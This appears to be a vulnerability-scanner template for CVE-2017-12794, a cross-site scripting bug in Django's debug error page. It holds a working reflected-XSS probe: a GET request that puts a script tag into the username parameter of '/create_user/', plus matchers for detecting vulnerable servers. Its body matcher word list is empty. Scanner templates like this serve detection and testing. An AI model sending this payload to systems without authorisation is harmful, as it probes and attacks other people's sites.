id: CVE-2017-12794 info: name: Django Debug Page - Cross-Site Scripting author: pikpikcu severity: medium description: | Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5 has HTML autoescaping disabled in a portion of the template for the technical 500 debug page. Given the right circumstances, this allows a cross-site scripting attack. This vulnerability shouldn't affect most production sites since run with "DEBUG = True" is not on by default (which is what makes the page visible). reference: - https://twitter.com/sec715/status/1406779605055270914 - https://nvd.nist.gov/vuln/detail/CVE-2017-12794 - https://www.djangoproject.com/weblog/2017/sep/05/security-releases/ - http://web.archive.org/web/20211207172022/https://securitytracker.com/id/1039264 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-12794 cwe-id: CWE-79 tags: xss,django,cve,cve2017 requests: - method: GET path: - "{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E" matchers-condition: and matchers: - type: word words: - "" part: body - type: status status: - 200 - type: word words: - "text/html" part: header # Enhanced by mp on 2022/04/26
